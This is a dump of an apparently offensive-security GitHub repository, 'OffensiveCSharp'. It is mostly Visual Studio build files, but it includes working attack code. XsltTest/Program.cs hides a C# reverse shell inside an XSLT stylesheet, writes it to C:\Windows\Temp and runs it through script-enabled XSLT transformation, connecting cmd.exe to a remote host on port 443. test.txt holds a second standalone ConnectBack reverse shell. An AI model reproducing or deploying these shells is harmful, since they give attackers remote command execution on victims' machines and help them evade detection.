-------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/sharpshells/obj/Debug/server.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /PScript/sharpshells/obj/Debug/sharpshells.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\PScript\sharpshells\bin\Debug\sharpshells.exe.config 2 | D:\aalphaas\PScript\sharpshells\bin\Debug\sharpshells.exe 3 | D:\aalphaas\PScript\sharpshells\bin\Debug\sharpshells.pdb 4 | D:\aalphaas\PScript\sharpshells\obj\Debug\sharpshells.exe 5 | D:\aalphaas\PScript\sharpshells\obj\Debug\sharpshells.pdb 6 | -------------------------------------------------------------------------------- /PScript/sharpshells/obj/Debug/sharpshells.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/sharpshells/obj/Debug/sharpshells.exe -------------------------------------------------------------------------------- /PScript/sharpshells/obj/Debug/sharpshells.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/PScript/sharpshells/obj/Debug/sharpshells.pdb -------------------------------------------------------------------------------- /PScript/sharpshells/server.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {048A6559-D4D3-4AD8-AF0F-B7F72B212E90} 8 | Exe 9 | sharpshells 10 | sharpshells 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OffensiveCSharp 2 | Offensive C# 3 | -------------------------------------------------------------------------------- /SharpServer/SharpServer/.vs/SharpServer/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/.vs/SharpServer/v16/.suo -------------------------------------------------------------------------------- /SharpServer/SharpServer/.vs/SharpServer/v16/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/.vs/SharpServer/v16/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /SharpServer/SharpServer/.vs/SharpServer/v16/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/.vs/SharpServer/v16/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29403.142 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpServer", "SharpServer\SharpServer.csproj", "{0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {F6461EB8-0F0D-4C65-A247-37400E2DF0D5} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpServer")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("SharpServer")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("0d15e0e3-bcfd-4a85-adcd-0e751dab4dd6")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/SharpServer.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6} 8 | Exe 9 | SharpServer 10 | SharpServer 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/bin/Debug/Readme.txt: -------------------------------------------------------------------------------- 1 | Oh you did it again !!! -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/bin/Debug/SharpServer.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/SharpServer/bin/Debug/SharpServer.exe -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/bin/Debug/SharpServer.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/bin/Debug/SharpServer.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/SharpServer/bin/Debug/SharpServer.pdb -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/bin/Debug/victimscreen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/SharpServer/bin/Debug/victimscreen.png -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/SharpServer/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/obj/Debug/SharpServer.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 655588a3f579adc0ace98531b89b1f4f32c3cafd 2 | -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/obj/Debug/SharpServer.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\SharpServer\SharpServer\SharpServer\bin\Debug\SharpServer.exe.config 2 | D:\aalphaas\SharpServer\SharpServer\SharpServer\bin\Debug\SharpServer.exe 3 | D:\aalphaas\SharpServer\SharpServer\SharpServer\bin\Debug\SharpServer.pdb 4 | D:\aalphaas\SharpServer\SharpServer\SharpServer\obj\Debug\SharpServer.exe 5 | D:\aalphaas\SharpServer\SharpServer\SharpServer\obj\Debug\SharpServer.pdb 6 | D:\aalphaas\offensivec#\SharpServer\SharpServer\SharpServer\bin\Debug\SharpServer.exe.config 7 | D:\aalphaas\offensivec#\SharpServer\SharpServer\SharpServer\bin\Debug\SharpServer.exe 8 | D:\aalphaas\offensivec#\SharpServer\SharpServer\SharpServer\bin\Debug\SharpServer.pdb 9 | D:\aalphaas\offensivec#\SharpServer\SharpServer\SharpServer\obj\Debug\SharpServer.csprojAssemblyReference.cache 10 | D:\aalphaas\offensivec#\SharpServer\SharpServer\SharpServer\obj\Debug\SharpServer.csproj.CoreCompileInputs.cache 11 | D:\aalphaas\offensivec#\SharpServer\SharpServer\SharpServer\obj\Debug\SharpServer.exe 12 | D:\aalphaas\offensivec#\SharpServer\SharpServer\SharpServer\obj\Debug\SharpServer.pdb 13 | -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/obj/Debug/SharpServer.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/SharpServer/obj/Debug/SharpServer.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/obj/Debug/SharpServer.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/SharpServer/obj/Debug/SharpServer.exe -------------------------------------------------------------------------------- /SharpServer/SharpServer/SharpServer/obj/Debug/SharpServer.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/SharpServer/SharpServer/SharpServer/obj/Debug/SharpServer.pdb -------------------------------------------------------------------------------- /XsltTest/.vs/XsltTest/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/XsltTest/.vs/XsltTest/v16/.suo -------------------------------------------------------------------------------- /XsltTest/XsltTest.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30114.105 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XsltTest", "XsltTest\XsltTest.csproj", "{644DFD1A-FDA5-4948-83C2-8D3B5EDA143A}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {644DFD1A-FDA5-4948-83C2-8D3B5EDA143A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {644DFD1A-FDA5-4948-83C2-8D3B5EDA143A}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {644DFD1A-FDA5-4948-83C2-8D3B5EDA143A}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {644DFD1A-FDA5-4948-83C2-8D3B5EDA143A}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {BE152311-2440-4676-9F31-2E1064DCCF09} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /XsltTest/XsltTest/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /XsltTest/XsltTest/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Xml; 5 | using System.Xml.XPath; 6 | using System.Xml.Xsl; 7 | 8 | namespace XsltTest 9 | { 10 | class Program 11 | { 12 | private static string strxslfile = @" 16 | 17 | 18 | 19 | 20 | public static StreamWriter streamWriter; 21 | public static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) 22 | { 23 | StringBuilder strOutput = new StringBuilder(); 24 | if (!String.IsNullOrEmpty(outLine.Data)) 25 | { 26 | try 27 | { 28 | strOutput.Append(outLine.Data); 29 | streamWriter.WriteLine(strOutput); 30 | streamWriter.Flush(); 31 | } 32 | catch (Exception ex) { throw ex; } 33 | } 34 | } 35 | public void Execute() 36 | { 37 | using (TcpClient client = new TcpClient(""192.168.20.13"", 443)) 38 | { 39 | using (Stream stream = client.GetStream()) 40 | { 41 | using (StreamReader rdr = new StreamReader(stream)) 42 | { 43 | streamWriter = new StreamWriter(stream); 44 | StringBuilder strInput = new StringBuilder(); 45 | Process p = new Process(); 46 | p.StartInfo.FileName = ""cmd.exe""; 47 | p.StartInfo.CreateNoWindow = true; 48 | p.StartInfo.UseShellExecute = false; 49 | p.StartInfo.RedirectStandardOutput = true; 50 | p.StartInfo.RedirectStandardInput = true; 51 | p.StartInfo.RedirectStandardError = true; 52 | p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); 53 | p.Start(); 54 | p.BeginOutputReadLine(); 55 | while (true) 56 | { 57 | strInput.Append(rdr.ReadLine()); 58 | p.StandardInput.WriteLine(strInput); 59 | strInput.Remove(0, strInput.Length); 60 | } 61 | } 62 | } 63 | } 64 | } 65 | 66 | 67 | 68 | 69 | 70 | 71 | "; 72 | 73 | private static string inlinerxmlpath = @"C:\Windows\Temp\inliner.xml"; 74 | private static string inlinerxslpath = @"C:\Windows\Temp\RunFromHere.xsl"; 75 | static void createxsl() 76 | { 77 | File.WriteAllText(inlinerxslpath, strxslfile, Encoding.UTF8); 78 | } 79 | 80 | static void createxml() 81 | { 82 | XmlTextWriter inlinerdata = new XmlTextWriter(inlinerxmlpath, Encoding.UTF8); 83 | inlinerdata.WriteStartDocument(true); 84 | inlinerdata.Formatting = Formatting.Indented; 85 | inlinerdata.WriteStartElement("success"); 86 | inlinerdata.WriteEndElement(); 87 | inlinerdata.WriteEndDocument(); 88 | inlinerdata.Close(); 89 | } 90 | 91 | static void Inlinerexecute() 92 | { 93 | XsltSettings oxsltsettings = new XsltSettings(false, true); //initiase with script enabled option 94 | XmlUrlResolver oResolver = new XmlUrlResolver(); 95 | 96 | XslCompiledTransform oxsl = new XslCompiledTransform(); // new instance of XslCompiledTransform 97 | oxsl.Load(inlinerxslpath, oxsltsettings, oResolver); // loads the xslt (the one with the c# code to execute) 98 | 99 | //Load the XML data file 100 | XPathDocument doc = new XPathDocument(inlinerxmlpath); 101 | 102 | //Create an XmlTextWriter to output to the console. 103 | XmlTextWriter writer = new XmlTextWriter(Console.Out); 104 | writer.Formatting = Formatting.Indented; 105 | 106 | //Transform the file. 107 | oxsl.Transform(doc, writer); // executes the transform 108 | writer.Close(); 109 | } 110 | 111 | static void Main(string[] args) 112 | { 113 | createxml(); // generates the xml first 114 | createxsl(); // generates the xslt 115 | Inlinerexecute(); 116 | } 117 | } 118 | } -------------------------------------------------------------------------------- /XsltTest/XsltTest/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("XsltTest")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("HP Inc.")] 12 | [assembly: AssemblyProduct("XsltTest")] 13 | [assembly: AssemblyCopyright("Copyright © HP Inc. 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("644dfd1a-fda5-4948-83c2-8d3b5eda143a")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /XsltTest/XsltTest/XsltTest.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {644DFD1A-FDA5-4948-83C2-8D3B5EDA143A} 8 | Exe 9 | XsltTest 10 | XsltTest 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /XsltTest/XsltTest/bin/Debug/XsltTest.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/XsltTest/XsltTest/bin/Debug/XsltTest.exe -------------------------------------------------------------------------------- /XsltTest/XsltTest/bin/Debug/XsltTest.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /XsltTest/XsltTest/bin/Debug/XsltTest.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/XsltTest/XsltTest/bin/Debug/XsltTest.pdb -------------------------------------------------------------------------------- /XsltTest/XsltTest/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /XsltTest/XsltTest/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/XsltTest/XsltTest/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /XsltTest/XsltTest/obj/Debug/XsltTest.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 3929e57a78b45ebc7f038a2982c9c05178085f55 2 | -------------------------------------------------------------------------------- /XsltTest/XsltTest/obj/Debug/XsltTest.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\offensivec#\XsltTest\XsltTest\bin\Debug\XsltTest.exe.config 2 | D:\aalphaas\offensivec#\XsltTest\XsltTest\bin\Debug\XsltTest.exe 3 | D:\aalphaas\offensivec#\XsltTest\XsltTest\bin\Debug\XsltTest.pdb 4 | D:\aalphaas\offensivec#\XsltTest\XsltTest\obj\Debug\XsltTest.csproj.CoreCompileInputs.cache 5 | D:\aalphaas\offensivec#\XsltTest\XsltTest\obj\Debug\XsltTest.exe 6 | D:\aalphaas\offensivec#\XsltTest\XsltTest\obj\Debug\XsltTest.pdb 7 | -------------------------------------------------------------------------------- /XsltTest/XsltTest/obj/Debug/XsltTest.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/XsltTest/XsltTest/obj/Debug/XsltTest.exe -------------------------------------------------------------------------------- /XsltTest/XsltTest/obj/Debug/XsltTest.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/XsltTest/XsltTest/obj/Debug/XsltTest.pdb -------------------------------------------------------------------------------- /build.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 11 | 12 | 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /res.txt: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | tmpF453.tmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 5 | 6 6 | 7 | 8 | 9 | 10 | 11 | 0 12 | 1 13 | 14 | 15 | 16 | 0 17 | 18 | 19 | 20 | 0 21 | 0 22 | 23 | 24 | 25 | 26 | C:\Users\User\AppData\Local\Temp\km4le12c 27 | 28 | 0.72 29 | 14 30 | 31 | <_ignoreCase xmlns="http://schemas.datacontract.org/2004/07/System">true 32 | 33 | 17 34 | 35 | 36 | 37 | false 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 0 46 | 0 47 | 48 | 49 | 50 | 51 | 52 | 0 53 | 0 54 | 55 | 56 | 57 | 58 | 59 | 0 60 | 0 61 | 62 | 63 | 64 | 65 | 66 | 0 67 | 0 68 | 69 | 70 | 71 | 72 | 73 | 0 74 | 0 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /test.txt: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.IO; 4 | using System.Diagnostics; 5 | using System.ComponentModel; 6 | using System.Net; 7 | using System.Net.Sockets; 8 | 9 | 10 | namespace ConnectBack 11 | { 12 | public class Program 13 | { 14 | static StreamWriter streamWriter; 15 | 16 | public static void Main(string[] args) 17 | { 18 | using(TcpClient client = new TcpClient("192.168.20.5", 443)) 19 | { 20 | using(Stream stream = client.GetStream()) 21 | { 22 | using(StreamReader rdr = new StreamReader(stream)) 23 | { 24 | streamWriter = new StreamWriter(stream); 25 | 26 | StringBuilder strInput = new StringBuilder(); 27 | 28 | Process p = new Process(); 29 | p.StartInfo.FileName = "cmd.exe"; 30 | p.StartInfo.CreateNoWindow = true; 31 | p.StartInfo.UseShellExecute = false; 32 | p.StartInfo.RedirectStandardOutput = true; 33 | p.StartInfo.RedirectStandardInput = true; 34 | p.StartInfo.RedirectStandardError = true; 35 | p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); 36 | p.Start(); 37 | p.BeginOutputReadLine(); 38 | 39 | while(true) 40 | { 41 | strInput.Append(rdr.ReadLine()); 42 | //strInput.Append("\n"); 43 | p.StandardInput.WriteLine(strInput); 44 | strInput.Remove(0, strInput.Length); 45 | } 46 | } 47 | } 48 | } 49 | } 50 | 51 | private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) 52 | { 53 | StringBuilder strOutput = new StringBuilder(); 54 | 55 | if (!String.IsNullOrEmpty(outLine.Data)) 56 | { 57 | try 58 | { 59 | strOutput.Append(outLine.Data); 60 | streamWriter.WriteLine(strOutput); 61 | streamWriter.Flush(); 62 | } 63 | catch (Exception err) { } 64 | } 65 | } 66 | 67 | } 68 | } -------------------------------------------------------------------------------- /test.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | c:\Users\User\Desktop\test.txt 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | false 13 | true 14 | false 15 | 16 | 17 | 18 | 19 | false 20 | -1 21 | 22 | false 23 | false 24 | 25 | false 26 | CSharp 27 | 28 | 29 | 30 | 31 | 32 | --------------------------------------------------------------------------------